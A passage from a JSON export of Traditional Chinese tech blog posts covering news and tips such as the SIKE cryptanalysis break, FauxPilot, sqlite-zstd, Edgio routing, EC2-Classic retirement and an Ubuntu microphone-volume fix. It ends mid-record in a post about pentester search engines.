表現很不錯：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TCIVLMs.webp\" /><img src=\"https://i.gslin.com/imgur/TCIVLMs.jpg\" alt=\"\" /></picture>\r\n\r\n另外最後提到他會在 <a href=\"https://defcon.org/html/defcon-30/dc-30-index.html\">DEFCON 30</a> 上聊聊：\r\n\r\n<blockquote>If you will be at DEFCON 30 in Las Vegas, I will be speaking live at the Data Duplication Village (DDV) at 1 p.m. on Friday, August 12th. The all-volunteer DDV is located in the lower level of the executive conference center of the Flamingo hotel. We’ll be talking about Drive Stats, SSDs, drive life expectancy, SMART stats, and more. I hope to see you there.</blockquote>",
    "title": "Backblaze 的 2022 Q2 硬碟報告"
  },
  {
    "id": "10822",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=32327711\">FauxPilot – an attempt to build a locally hosted version of GitHub Copilot (github.com/moyix)</a>」這個本機上跑 <a href=\"https://github.com/features/copilot\">GitHub Copilot</a> 協定的專案。專案的 <a href=\"https://github.com/\">GitHub</a> 在「<a href=\"https://github.com/moyix/fauxpilot\">FauxPilot - an open-source GitHub Copilot server</a>」這邊。\r\n\r\n裡面用的是 <a href=\"https://www.salesforce.com/\">Salesforce</a> 放出來的 <a href=\"https://github.com/salesforce/CodeGen\">CodeGen</a>，不過 Salesforce 提供了 350M、2B、6B 與 16B 的 model，但在 FauxPilot 這邊目前只看到 350M、6B 與 16B 的 model 可以用，少了 2B 這組，然後需要的 VRAM 就有點尷尬了：\r\n\r\n<pre>[1] codegen-350M-mono (2GB total VRAM required; Python-only)\r\n[2] codegen-350M-multi (2GB total VRAM required; multi-language)\r\n[3] codegen-6B-mono (13GB total VRAM required; Python-only)\r\n[4] codegen-6B-multi (13GB total VRAM required; multi-language)\r\n[5] codegen-16B-mono (32GB total VRAM required; Python-only)\r\n[6] codegen-16B-multi (32GB total VRAM required; multi-language)</pre>\r\n\r\n13GB 剛好超過 3080 Ti 的 12GB，所以不是 3090 或 3090 Ti 的使用者就只能跑 350M 這個版本？看 Hacker News 上的討論似乎是有打算要弄 2B 的版本啦...\r\n\r\n然後我自己雖然是 11GB 的 1080 Ti，想跑個 350M 的版本測試看看，但看起來相關的 <a href=\"https://www.nvidia.com/\">Nvidia</a> driver 沒裝好造成他識別不到，加上我是用 <a href=\"https://neovim.io/\">neovim</a>，看了一下目前 <code>~/.config/github-copilot/hosts.json</code> 的內容，程式碼應該是寫死到 GitHub API 上使用：\r\n\r\n<pre>{\"github.com\":{\"user\":\"gslin\",\"oauth_token\":\"x\"}}</pre>\r\n\r\n先暫時放著好了，晚點等 2B 版本出現後再回來看看有沒有比較完整的指示...",
    "title": "跑在本機的 GitHub Copilot 替代品"
  },
  {
    "id": "10823",
    "body": "看到「<a href=\"https://github.com/phiresky/sqlite-zstd\">sqlite-zstd</a>」這個實驗性質的專案，可以針對 <a href=\"https://www.sqlite.org/\">SQLite</a> 的 row-level 層壓縮：\r\n\r\n<blockquote>Extension for sqlite that provides transparent dictionary-based row-level compression for sqlite. This basically allows you to compress entries in a sqlite database almost as well as if you were compressing the whole DB file, but while retaining random access.</blockquote>\r\n\r\n看起來在空間上有很不錯的成果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TlhT8PB.webp\" /><img src=\"https://i.gslin.com/imgur/TlhT8PB.png\" alt=\"\" /></picture>\r\n\r\n作者在他自己的 blog 上面有給了一篇比較完整的說明，除了空間上的優勢以外，還包含了效能上的分析：「<a href=\"https://phiresky.github.io/blog/2022/sqlite-zstd/\">sqlite-zstd: Transparent dictionary-based row-level compression for SQLite</a>」。\r\n\r\n在文章裡面測出來的數據看起來在效能上就不一定有比較好的結果，本來的 SQLite 就已經處理的還不錯了。\r\n\r\n但看起來是個還蠻有趣的東西，舉例來說，如果可以透過 <a href=\"https://en.wikipedia.org/wiki/WebAssembly\">WebAssembly</a> 編譯，再配合之前的「<a href=\"https://blog.gslin.org/archives/2022/03/13/10592/%e6%8a%8a-sqlite-%e7%9a%84-vfs-%e6%8e%9b%e4%b8%8a-webtorrent-%e7%9a%84-poc-demo/\">把 SQLite 的 VFS 掛上 WebTorrent 的 PoC Demo</a>」，可以省下不少傳輸的量...\r\n\r\n可以看看後續會不會真的有人這樣幹 XD",
    "title": "SQLite 的 zstd extension"
  },
  {
    "id": "10824",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=32339222\">Let's Encrypt’s subscriber agreement changes on Sept 21 (letsencrypt.org)</a>」這邊看到的，<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 有提供 diff 的內容，在「<a href=\"https://letsencrypt.org/documents/LE-SA-v1.2-v1.3-diff.docx\">LE-SA-v1.2-v1.3-diff.docx</a>」這邊，你也可以用 Google Docs Viewer 看：「<a href=\"https://docs.google.com/viewer?url=https%3A%2F%2Fletsencrypt.org%2Fdocuments%2FLE-SA-v1.2-v1.3-diff.docx\">LE-SA-v1.2-v1.3-diff.docx</a>」。\r\n\r\n看起來主要是用語上的改變 (可能是律師的建議？)，除了 revoke 的章節外看起來沒什麼大變化。而 revoke 的章節部份增加了這兩段文字：\r\n\r\n<blockquote>You warrant to ISRG and the public-at-large, and You agree, that before providing a reason for revoking Your Certificate, you will have reviewed the revocation guidelines found in the “Revoking Certificates” section of the Let’s Encrypt documentation available at https://letsencrypt.org/docs/ , and that you will provide Your corresponding revocation reason code with awareness of such guidelines.\r\n\r\nYou acknowledge and accept that ISRG may modify any revocation reason code provided by You if ISRG determines, in its sole discretion, that a different reason code for revocation is more appropriate or is required by industry standards.</blockquote>\r\n\r\n不確定自動化的 client 需不需要重新再 accept 一次？",
    "title": "Let's Encrypt 更新了 ToS"
  },
  {
    "id": "10825",
    "body": "似乎是這幾天 cryptography 領域裡面頗熱鬧的消息，SIDH 以及 <a href=\"https://en.wikipedia.org/wiki/Supersingular_isogeny_key_exchange\">SIKE</a> 確認有嚴重的問題：「<a href=\"https://www.schneier.com/blog/archives/2022/08/sike-broken.html\">SIKE Broken</a>」，論文在「<a href=\"https://eprint.iacr.org/2022/975\">An efficient key recovery attack on SIDH (preliminary version)</a>」這邊可以取得。\r\n\r\n這次的成果是 <a href=\"https://en.wikipedia.org/wiki/Key-recovery_attack\">Key recovery attack</a>，算是最暴力的幹法，直接把 key 解出來。\r\n\r\n另外 SIKE 剛好也是先前 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 在解釋 <a href=\"https://en.wikipedia.org/wiki/Hertzbleed\">Hertzbleed</a> 時被拿來打的目標：「<a href=\"https://blog.gslin.org/archives/2022/07/12/10796/cloudflare-%E4%B8%8A%E7%9A%84-hertzbleed-%E8%A7%A3%E9%87%8B/\">Cloudflare 上的 Hertzbleed 解釋</a>」，這樣看起來連 patch 也都不用繼續研究了...\r\n\r\n論文裡面的攻擊對象中，第一個是 <a href=\"https://www.microsoft.com/\">Microsoft</a> 在 <a href=\"https://github.com/microsoft/SIKE-challenges/\">$IKE challenges</a> 內所定義的 $IKEp182 與 $IKEp217，在只用 single core 的情況下，分別在四分鐘與六分鐘就解出來：\r\n\r\n<blockquote>Ran on a single core, the appended Magma code breaks the Microsoft SIKE challenges $IKEp182 and $IKEp217 in about 4 minutes and 6 minutes, respectively.</blockquote>\r\n\r\n接著是四個參與 <a href=\"https://www.nist.gov/\">NIST</a> 標準選拔的參數，分別是 SIKEp434、SIKEp503、SIKEp610 以及 SIKEp751，也都被極短的時間解出來：\r\n\r\n<blockquote>A run on the SIKEp434 parameters, previously believed to meet NIST’s quantum security level 1, took about 62 minutes, again on a single core.</blockquote>\r\n\r\n<blockquote>We also ran the code on random instances of SIKEp503 (level 2), SIKEp610 (level 3) and SIKEp751 (level 5), which took about 2h19m, 8h15m and 20h37m, respectively.</blockquote>\r\n\r\n在 <a href=\"https://arstechnica.com/\">Ars Technica</a> 的採訪「<a href=\"https://arstechnica.com/information-technology/2022/08/sike-once-a-post-quantum-encryption-contender-is-koed-in-nist-smackdown/\">Post-quantum encryption contender is taken out by single-core PC and 1 hour</a>」裡面，有問到 SIKE 的共同發明人 <a href=\"https://djao.math.uwaterloo.ca/\">David Jao</a> 的看法，他主要是認為密碼學界的人對於數學界的「武器」了解程度不夠而導致這次的情況：\r\n\r\n<blockquote>It's true that the attack uses mathematics which was published in the 1990s and 2000s. In a sense, the attack doesn't require new mathematics; it could have been noticed at any time. One unexpected facet of the attack is that it uses genus 2 curves to attack elliptic curves (which are genus 1 curves). A connection between the two types of curves is quite unexpected. To give an example illustrating what I mean, for decades people have been trying to attack regular elliptic curve cryptography, including some who have tried using approaches based on genus 2 curves. None of these attempts has succeeded. So for this attempt to succeed in the realm of isogenies is an unexpected development.\r\n\r\nIn general there is a lot of deep mathematics which has been published in the mathematical literature but which is not well understood by cryptographers. I lump myself into the category of those many researchers who work in cryptography but do not understand as much mathematics as we really should. So sometimes all it takes is someone who recognizes the applicability of existing theoretical math to these new cryptosystems. That is what happened here.</blockquote>\r\n\r\n這樣第四輪的選拔只剩下三個了...",
    "title": "Post-Quantum 的 KEM，SIDH/SIKE 確認死亡"
  },
  {
    "id": "10826",
    "body": "之前有三台機器在 <a href=\"https://virmach.com/\">VirMach</a> 上面，都是趁各種特價的時候買的，上面跑一些簡單的服務，結果最近炸光了：「<a href=\"https://lowendbox.com/blog/virmach-teeters-at-the-edge/\">VirMach Teeters at the Edge</a>」。\r\n\r\n差不多就是無預警更換 IP address，各種長時間的 admin panel 鎖住，所以只好把這些小東西改放到其他家的 VPS 上跑。\r\n\r\n在 <a href=\"https://lowendtalk.com/\">LEB</a> 的討論串「<a href=\"https://lowendtalk.com/discussion/177704/virmach-ryzen-nvme-8-88-yr-384mb-21-85-yr-2-5gb-instant-japan-pre-order-more\">★ VirMach ★ RYZEN ★ NVMe ★★ $8.88/YR- 384MB ★★ $21.85/YR- 2.5GB ★ Instant ★ Japan Pre-order ★ & More</a>」這邊也是有大量的討論，不過基本上就只是抱怨集中處而已...\r\n\r\n基本上公司應該是炸翻了，接下來照 LEB 的慣例應該是倒掉換殼重新來過？",
    "title": "VirMach 炸開"
  },
  {
    "id": "10827",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=32350462\">We're improving search results when you use quotes (blog.google)</a>」這則，才知道原來被拔掉了？(不過已經很久不是拿 <a href=\"https://www.google.com/\">Google Search</a> 當主力了...)\r\n\r\n原文在「<a href=\"https://blog.google/products/search/how-were-improving-search-results-when-you-use-quotes/\">How we're improving search results when you use quotes</a>」這邊，裡面提到：\r\n\r\n<blockquote>For example, if you did a search such as [“google search”], the snippet will show where that exact phrase appears:\r\n\r\n[...]\r\n\r\nIn the past, we didn’t always do this because sometimes the quoted material appears in areas of a document that don’t lend themselves to creating helpful snippets.</blockquote>\r\n\r\n在「<a href=\"https://webapps.stackexchange.com/questions/144207/google-for-the-exact-phrase-and-no-quotation-marks-dont-help\">Google for the exact phrase (and no, quotation marks don't help)</a>」這邊可以看到 2020 的時候 double quote 就已經不是傳回精確的結果了。\r\n\r\n不過應該不會回去用 Google Search 了，一方面是 <a href=\"https://kagi.com/\">Kagi</a> 的表現還不錯，另外一方面是避免讓 Google 拿到更多資訊...",
    "title": "Google 說要把 double quote 強制搜尋的功能加回來..."
  },
  {
    "id": "10828",
    "body": "在「<a href=\"https://www.macrumors.com/2022/08/05/ios-app-blocks-annoying-pop-ups-in-safari/\">New iOS App Blocks Those Annoying 'Open in App' Pop-Ups in Safari</a>」這邊看到 John Gruber 的介紹文章「<a href=\"https://daringfireball.net/linked/2022/08/02/banish\">Banish: New Safari Extension to Block 'Open in App' Dickpanels</a>」，裡面提到的 extension 在「<a href=\"https://apps.apple.com/us/app/banish-for-safari/id1632848430\">Banish for Safari</a>」這邊，一次性的費用，在台灣是 NT$70。\r\n\r\n裡面的 screenshot 給了還蠻清楚的說明：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RyPnqwR.webp\" /><img src=\"https://i.gslin.com/imgur/RyPnqwR.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QoZPBaG.webp\" /><img src=\"https://i.gslin.com/imgur/QoZPBaG.png\" alt=\"\" /></picture>\r\n\r\n設定上面因為會牽扯到 privacy 的關係，會有點麻煩，需要開好幾個地方。\r\n\r\n順道一提，桌面上的話可以透過 Annoyances 系列的 list 在 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 上擋。",
    "title": "iOS Safari 擋 \"Open in App\" 的付費套件 Banish"
  },
  {
    "id": "10829",
    "body": "看到「<a href=\"https://danieljanus.pl/autosummarized-hn/\">Autosummarized HN</a>」這個工具，算是一個組合技的應用：\r\n\r\n<blockquote>All summaries have been generated automatically by GPT-3. No responsibility is claimed for their contents nor its accuracy.</blockquote>\r\n\r\n透過 <a href=\"https://en.wikipedia.org/wiki/GPT-3\">GPT-3</a> 解讀並產生出摘要，目前頁面上是沒有 RSS feed，但可以透過一些工具直接拉出來 (像是 <a href=\"https://politepol.com/\">PolitePol</a>)，然後就可以掛到 <a href=\"https://slack.com/\">Slack</a> 或是 RSS reader 裡面...",
    "title": "用 GPT-3 產生 Hacker News 上熱門文章的摘要"
  },
  {
    "id": "10830",
    "body": "看到 <a href=\"https://github.com/fcoury/oxide\">OxideDB</a> 這個專案：\r\n\r\n<blockquote>OxideDB is a translation layer that works as a MongoDB database server while using PostgreSQL's JSON capabilities as the underlying data store.</blockquote>\r\n\r\n跟之前提到的 MangoDB 有些淵源 (參考「<a href=\"https://blog.gslin.org/archives/2021/11/04/10404/mangodb%EF%BC%9A%E6%8B%BF-postgresql-%E7%95%B6%E4%BD%9C%E5%BE%8C%E7%AB%AF%E7%9A%84-mongodb-%E7%9B%B8%E5%AE%B9%E5%B1%A4/\">MangoDB：拿 PostgreSQL 當作後端的 MongoDB 相容層</a>」)，順便提一下 MangoDB 後來被要求改名為 <a href=\"https://www.ferretdb.io/\">FerretDB</a>：「<a href=\"https://blog.gslin.org/archives/2021/12/08/10449/mangodb-%E6%94%B9%E5%90%8D%E7%82%BA-ferretdb-%E9%9B%AA%E8%B2%82/\">MangoDB 改名為 FerretDB (雪貂)</a>」。\r\n\r\n主要的差異在於 OxideDB 只以 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 為底層，另外是用 <a href=\"https://www.rust-lang.org/\">Rust</a> 寫的：\r\n\r\n<blockquote>The project was heavily inspired by FerretDB and is on its early days. The main difference is that there is no intention to support any database other than PostgreSQL (FerretDB is also supporting Tigris) and it's written in Rust, as opposed to Go.</blockquote>\r\n\r\n看起來大家都拿 PostgreSQL 在搞事，但這個專案裡面好像沒搜到 <code>GIN</code> 這個關鍵字，不知道是不是連 index 都沒下...",
    "title": "OxideDB：另外一套用 PostgreSQL 為底的 MongoDB 相容層"
  },
  {
    "id": "10831",
    "body": "查資料的時候才發現的新聞，Limelight Networks 買下 <a href=\"https://en.wikipedia.org/wiki/Edgecast\">Edgecast</a>，改名為 <a href=\"https://edg.io/\">Edgio</a>：「<a href=\"https://www.yahooinc.com/press/limelight-to-acquire-yahoos-edgecast/\">Limelight to Acquire Yahoo’s Edgecast, Creating Global Leader in Edge Enabled Software Solutions</a>」，然後 <a href=\"https://www.nasdaq.com/\">NASDAQ</a> 代碼從 LLNW 改成 <a href=\"https://www.nasdaq.com/market-activity/stocks/egio\">EGIO</a>。\r\n\r\n不過本來 Edgecast 本來在台灣是有點的 (跟 <a href=\"https://www.hinet.net/\">HiNet</a> 合作)，現在看起來在 network map 上面沒出現了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nmmd0lS.webp\" /><img src=\"https://i.gslin.com/imgur/nmmd0lS.png\" alt=\"\" /></picture>\r\n\r\n不過直接抓 <a href=\"https://www.edgecast.com\">www.edgecast.com</a> 還是可以看到是中華的機房：\r\n\r\n<pre style=\"font-size: small;\">  2.|-- 168-95-170-94.hinet-ip.hi  0.0%    10    2.0   3.0   1.5  11.4   3.0\r\n  3.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n  4.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n  5.|-- 220-128-24-53.hinet-ip.hi  0.0%    10    7.0   6.8   6.4   7.7   0.4\r\n  6.|-- 211-20-238-81.hinet-ip.hi  0.0%    10    6.1   6.9   6.1   9.7   1.0\r\n  7.|-- 152.195.35.156             0.0%    10    7.1   6.7   6.3   7.4   0.4</pre>\r\n\r\n但 <a href=\"https://edg.io/\">edg.io</a> 看起來是丟去新加坡：\r\n\r\n<pre style=\"font-size: small;\">  2.|-- SNUH-3302.hinet.net        0.0%    10    1.8   2.6   1.2  11.4   3.1\r\n  3.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n  4.|-- pcpd-4101.hinet.net        0.0%    10    1.8   2.2   1.8   3.0   0.4\r\n  5.|-- pcpd-4001.hinet.net        0.0%    10    2.2   2.6   2.1   3.3   0.4\r\n  6.|-- ix-ae-17-0.tcore1.svw-sin  0.0%    10   48.6  50.7  48.6  61.7   4.0\r\n  7.|-- if-be-45-2.ecore2.esin4-s 60.0%    10   49.1  48.7  48.1  49.1   0.4\r\n  8.|-- if-be-10-2.ecore2.svq-sin  0.0%    10   52.3  50.7  49.3  55.1   1.8\r\n  9.|-- 117.121.251.241            0.0%    10   49.7  50.1  49.5  50.6   0.4\r\n 10.|-- 208.69.180.13              0.0%    10   49.6  49.9  49.0  51.8   0.8</pre>\r\n\r\n再找機會研究看看...",
    "title": "今年三月的時候 Limelight Networks 買了 Edgecast，改名為 Edgio"
  },
  {
    "id": "10835",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=32384653\">To uncover a deepfake video call, ask the caller to turn sideways (metaphysic.ai)</a>」這篇，講怎麼在 video call 的時候辨認是不是 <a href=\"https://en.wikipedia.org/wiki/Deepfake\">deepfake</a> 的人。原文在「<a href=\"https://metaphysic.ai/to-uncover-a-deepfake-video-call-ask-the-caller-to-turn-sideways/\">To Uncover a Deepfake Video Call, Ask the Caller to Turn Sideways</a>」這邊可以讀到。\r\n\r\n文章裡面介紹一個很簡單的方式，就是轉頭拍側面，會看到明顯的缺陷：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VsrMQP9.webp\" /><img src=\"https://i.gslin.com/imgur/VsrMQP9.jpg\" alt=\"\" /></picture>\r\n\r\n這張 GIF 會更明顯：\r\n\r\n<img src=\"https://i.gslin.com/imgur/5CnP9g7.gif\" alt=\"\" />\r\n\r\nHacker News 上的討論也有人提到這是目前的技術限制，所以這個方法算是有效的。但以現在各類 machine learning 成長的速度來看，可能沒多久後就會有新技術突破這個方法了。",
    "title": "確認 Deepfake Video Call 的方式"
  },
  {
    "id": "10836",
    "body": "<a href=\"https://www.ubuntu.com/\">Ubuntu</a> 桌機重開機後會遇到外接 USB 麥克風 <a href=\"https://www.avermedia.com/us/product-detail/AM310\">AM310</a> 的聲音會變得太小的問題，常常是開會的時候被同事提醒才去調。\r\n\r\n查了一下是不是有 bug，看起來跟「<a href=\"https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1676829\">Mic input volume always resets (to middle/low value) on resume or restart</a>」這個 bug 有關，但這個回報是 16.04，到現在 22.04 都出了，好像沒有新進度...\r\n\r\n接著就是找看看有沒有 workaround 可以用，其中一種想法是找出用 command line 設定音量的方式，這樣就可以在開機的時候自動執行。\r\n\r\n接著就找到「<a href=\"https://askubuntu.com/questions/1391400/how-can-i-increase-microphone-volume-beyond-100\">How can i increase microphone volume beyond 100%</a>」這個問答，首先用這個指定列出所有的 source：\r\n\r\n<pre>pactl list sources</pre>\r\n\r\n裡面可以看到 AM310 的資料，接著就可以透過 name 的部份指定音量了：\r\n\r\n<pre>pactl set-source-volume alsa_input.usb-AVerMedia_AVerMedia_AM310_USB_Microphone-00.multichannel-input 70%</pre>\r\n\r\n放到 startup script 在 login 的時候跑就 OK 了。",
    "title": "解決 Ubuntu 重開機後麥克風聲音太小的問題"
  },
  {
    "id": "10837",
    "body": "在噗浪上的<a href=\"https://www.plurk.com/p/oybk2t\">這邊</a>看到的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MgIwJTi.webp\" /><img src=\"https://i.gslin.com/imgur/MgIwJTi.png\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://github.com/\">GitHub</a> 專案則是在「<a href=\"https://github.com/Chenyu-otf/chenyuluoyan_thin\">chenyuluoyan_thin</a>」這邊，以 <a href=\"https://opensource.org/licenses/OFL-1.1\">OFL-1.1</a> 授權釋出，借 <a href=\"https://www.plurk.com/manzoo\">manzoo</a> 生出來的圖可以看一下感覺：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zmiDENp.webp\" /><img src=\"https://i.gslin.com/imgur/zmiDENp.jpg\" alt=\"\" /></picture>",
    "title": "兩位高中生產出的開源字體"
  },
  {
    "id": "10838",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=32390526\">I replaced all our blog thumbnails using DALL·E 2 (deephaven.io)</a>」這個點子，原文在「<a href=\"https://deephaven.io/blog/2022/08/08/AI-generated-blog-thumbnails/\">I replaced all our blog thumbnails using DALL·E 2 for $45: here’s what I learned</a>」這邊。\r\n\r\n網誌文章如果包含好的圖片時，曝光度與互動都會比較多。所以作者就想到用 <a href=\"https://openai.com/\">OpenAI</a> 的 <a href=\"https://openai.com/dall-e-2/\">DALL·E 2</a> 來搞事了：給個描述，請 DALL·E 2 生成圖片。\r\n\r\n文章裡面有很多產生出來的圖都蠻有趣的，像是「a cute blue colored gopher with blue fur programming on multiple monitors displaying many spreadsheets, digital art」這個描述生出來的圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gDxGOJp.webp\" /><img src=\"https://i.gslin.com/imgur/gDxGOJp.jpg\" alt=\"\" /></picture>\r\n\r\n不過不算便宜，他花了 US$45 生成大約一百篇文章的圖：\r\n\r\n<blockquote>I spent the weekend and $45 in OpenAi credits generating new thumbnails that better represent the content of all 100+ posts from our blog.</blockquote>\r\n\r\n如果用先前「<a href=\"https://blog.gslin.org/archives/2022/07/24/10812/%e7%8e%a9%e7%8e%a9%e6%96%87%e5%ad%97%e8%bd%89%e5%9c%96%e7%89%87%e7%9a%84-mindall%c2%b7e/\">玩玩文字轉圖片的 min(DALL·E)</a>」這邊提到的方法自己搞不知道可不可行？",
    "title": "用 DALL·E 2 的圖當作網誌文章的圖片"
  },
  {
    "id": "10839",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.mattkeeter.com/blog/2022-08-11-udp/\">From Oscilloscope to Wireshark: A UDP Story</a>」這篇講怎麼用示波器挖出 <a href=\"https://en.wikipedia.org/wiki/User_Datagram_Protocol\">UDP</a> 封包的方法。不是用邏輯分析儀，而是用示波器...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NLjA02c.webp\" /><img src=\"https://i.gslin.com/imgur/NLjA02c.jpg\" alt=\"\" /></picture>\r\n\r\n上面示波器的圖片可以查到作者是用 <a href=\"https://www.tek.com/\">Tektronix</a> 的 <a href=\"https://www.tek.com/en/datasheet/6-series-mso\">6 Series MSO</a>，看起來停賣了，但類似的型號應該是百萬等級...\r\n\r\n所以真的是打算從 L1 層一路解到 L4 層：\r\n\r\n<blockquote>The rest of this post will take us from these raw voltage waveforms all the way to decoded UDP packets. Hold on tight, we're going from L1 all the way to L4.</blockquote>\r\n\r\n網路設備是 <a href=\"https://www.microchip.com/en-us/product/VSC7448\">VSC7448</a> 這顆 52-port 10Gbps switch：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rKdBHmq.webp\" /><img src=\"https://i.gslin.com/imgur/rKdBHmq.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/V7lxbzN.webp\" /><img src=\"https://i.gslin.com/imgur/V7lxbzN.jpg\" alt=\"\" /></picture>\r\n\r\n不過這邊提到一秒可以打 30K 的 UDP 封包出來，對於這台 switch 應該是沒滿才對，而且速度上應該也不到 10Gbps，加上作者提到的是 <a href=\"https://en.wikipedia.org/wiki/QSGMII\">QSGMII</a>，有可能是跑 1Gbps 的速度在抓：\r\n\r\n<blockquote>The oscilloscope doesn't have a built-in QSGMII analyzer (and we'll want to do fairly sophisticated processing of the data), so I wanted to export waveform data to my computer.</blockquote>\r\n\r\n<blockquote>I knew that a device on the network was emitting about 30K UDP packets per second, or one packet every 33 µs. I configured the oscilloscope to collect 100M samples at 1 TSPS (tera-sample per second, 1012), which multiplies out to 100 µs of data; this means we should catch 1-3 UDP packets.</blockquote>\r\n\r\n看起來只是抓個意思意思練練手而已，抓 1 到 3 個 UDP 封包。\r\n\r\n後面就是一堆數學處理... 看起來前面有一小段程式碼是 <a href=\"https://www.python.org/\">Python</a>，但後面的程式碼有人知道是什麼語言嗎？",
    "title": "用示波器看 UDP 封包..."
  },
  {
    "id": "10840",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這個：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Is AWS really turning off EC2 Classic Networking tomorrow (Monday Aug 15), or was that just a target goal for customers to take action?<br><br>Amazon has to be aware that there are customers who have not converted yet. Will these applications start failing?<a href=\"https://t.co/15FZvPnmAE\">https://t.co/15FZvPnmAE</a></p>&mdash; Eric Hammond (@esh) <a href=\"https://twitter.com/esh/status/1558996330042646528?ref_src=twsrc%5Etfw\">August 15, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n2022/08/15 是 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html\">EC2-Classic</a> 最後活著的時間，先前在「<a href=\"https://blog.gslin.org/archives/2021/07/29/10260/aws-%E5%AE%A3%E4%BD%88-ec2-classic-%E9%80%80%E5%BD%B9%E7%9A%84%E8%A8%88%E7%95%AB/\">AWS 宣佈 EC2-Classic 退役的計畫</a>」這篇也有提到。\r\n\r\n在官方的公告文章「<a href=\"https://aws.amazon.com/blogs/aws/ec2-classic-is-retiring-heres-how-to-prepare/\">EC2-Classic Networking is Retiring – Here’s How to Prepare</a>」這邊裡面有提到最後的日期：\r\n\r\n<blockquote>On <strong>August 15, 2022</strong> we expect all migrations to be complete, with no remaining EC2-Classic resources present in any AWS account.</blockquote>\r\n\r\n不過畢竟是用 <strong>expect</strong>，應該還有客戶沒有換過去，而且 <a href=\"https://aws.amazon.com/\">AWS</a> 官方好像也沒有提到這個 milestone...",
    "title": "EC2-Classic 的狀態"
  },
  {
    "id": "10842",
    "body": "看到 <a href=\"https://www.linode.com/\">Linode</a> 的「<a href=\"https://www.linode.com/blog/networking/go-private-with-vlans-and-vpcs/\">Go Private with VLANs and VPCs</a>」這篇，裡面特地提到了 <a href=\"https://en.wikipedia.org/wiki/VLAN\">VLAN</a>：\r\n\r\n<blockquote>Can a VLAN be used as a VPC on Linode?\r\n\r\nThe short answer is again, yes, we can use a VLAN as a VPC on Linode.</blockquote>\r\n\r\n在「<a href=\"https://www.linode.com/docs/guides/common-linode-vlan-use-cases\">Common Use Cases for Linode's VLAN Service</a>」這篇 (發現是 2021 年就有的資料) 裡面開頭就有提到：\r\n\r\n<blockquote>This means that two or more Linodes connected via the VLAN can see each other as if they were directly connected to the same physical Ethernet network. This network supports all the logical Ethernet features like L2 broadcast and L2 multicast.</blockquote>\r\n\r\n所以看起來的確是在 Linode 的 <a href=\"https://en.wikipedia.org/wiki/Software-defined_networking\">SDN</a> 上面支援了 VLAN。記得早期是用 <a href=\"https://www.cisco.com/\">Cisco</a> 的方案 (2013 年的時候有「<a href=\"https://www.linode.com/blog/networking/linode-nextgen-the-network/\">Linode NextGen: The Network</a>」這篇)，現在不知道是什麼架構...",
    "title": "Linode 的 VPC 與 VLAN"
  },
  {
    "id": "10843",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到的東西：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Good Search Engines for Pentesters<a href=\"https://twitter.com/hashtag/Pentesting?src=hash&amp;ref_src=twsrc%5Etfw\">#Pentesting</a> <a href=\"https://twitter.com/hashtag/CyberSec?src=hash&amp;ref_src=twsrc%5Etfw\">#CyberSec</a> <a href=\"https://twitter.com/hashtag/cyberawarness?src=hash&amp;ref_src=twsrc%5Etfw\">#cyberawarness</a> <a href=\"https://twitter.com/hashtag/cybersecuritytips?src=hash&amp;ref_src=twsrc%5Etfw\">#cybersecuritytips</a> <a href=\"https://twitter.com/hashtag/informationsecurity?src=hash&amp;ref_src=twsrc%5Etfw\">#informationsecurity</a> <a href=\"https://twitter.com/hashtag/infosec?src=hash&amp;ref_src=twsrc%5Etfw\">#infosec</a> <a href=\"https://twitter.com/hashtag/ethicalhacking?src=hash&amp;ref_src=twsrc%5Etfw\">#ethicalhacking</a> <a href=\"https://twitter.com/hashtag/bugbounty?src=hash&amp;ref_src=twsrc%5Etfw\">#bugbounty</a> <a href=\"https://twitter.com/hashtag/bugbountytips?src=hash&amp;ref_src=twsrc%5Etfw\">#bugbountytips</a> <a 